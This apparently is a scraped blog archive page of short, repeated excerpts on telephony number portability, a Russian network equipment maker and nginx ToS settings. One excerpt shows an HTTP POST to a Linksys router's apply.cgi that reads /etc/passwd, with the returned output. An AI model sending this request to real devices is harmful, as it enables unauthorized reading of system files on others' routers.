In short: when phone call is made, phone switch checks a database to see if the called number has a secondary phone number (caller LNR), if yes, that number is used to route the call. LNP = Local Number Portability NPAC = Number portability administrat…
Posted in networking, NPA-NXX, telco | Comments Off | permalink
In short: when phone call is made, phone switch checks a database to see if the called number has a secondary phone number (caller LNR), if yes, that number is used to route the call. LNP = Local Number Portability NPAC = Number portability administrat…
Posted in networking, NPA-NXX, telco | Comments Off | permalink
the firmware is so buggy/insecure, so getting passwd file is as easy as: POST /apply.cgi Host: 192.168.1.1 submit_button=Wireless_Basic&change_action=gozila_cgi≠xt_page=/etc/passwd ====> root:x:0:0::/:/bin/sh nobody:x:99:99:Nobody:/:/bin/nolog…
Posted in linksys, networking, Security | Comments Off | permalink
the firmware is so buggy/insecure, so getting passwd file is as easy as: POST /apply.cgi Host: 192.168.1.1 submit_button=Wireless_Basic&change_action=gozila_cgi≠xt_page=/etc/passwd ====> root:x:0:0::/:/bin/sh nobody:x:99:99:Nobody:/:/bin/nolog…
Posted in linksys, networking, Security | Comments Off | permalink
[presentation, pptx] http://www.eltex.nsk.ru/en/company_en Small network equipment manufacturer out of Novosibirsk, Russia. Equipment varies from SOHO NAT/WIFI/VoIP gateways to 48x10GbE switches and Class 4,5 soft-switch
Posted in equipment, manufacturing, networking, presentation, russia, shortcut:eltex.nsk.ru | Comments Off | permalink
[presentation, pptx] http://www.eltex.nsk.ru/en/company_en Small network equipment manufacturer out of Novosibirsk, Russia. Equipment varies from SOHO NAT/WIFI/VoIP gateways to 48x10GbE switches and Class 4,5 soft-switch
Posted in equipment, manufacturing, networking, presentation, russia, shortcut:eltex.nsk.ru | Comments Off | permalink
[presentation, pptx] http://www.eltex.nsk.ru/en/company_en Small network equipment manufacturer out of Novosibirsk, Russia. Equipment varies from SOHO NAT/WIFI/VoIP gateways to 48x10GbE switches and Class 4,5 soft-switch
Posted in equipment, manufacturing, networking, presentation, russia, shortcut:eltex.nsk.ru | Comments Off | permalink
how to set ip ToS options from nginx
Posted in ip, networking, nginx, performance, ToS, web | Comments Off | permalink
how to set ip ToS options from nginx
Posted in ip, networking, nginx, performance, ToS, web | Comments Off | permalink
how to set ip ToS options from nginx
Posted in ip, networking, nginx, performance, ToS, web | Comments Off | permalink
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Konstantin Antselovich (c) 2004-2011
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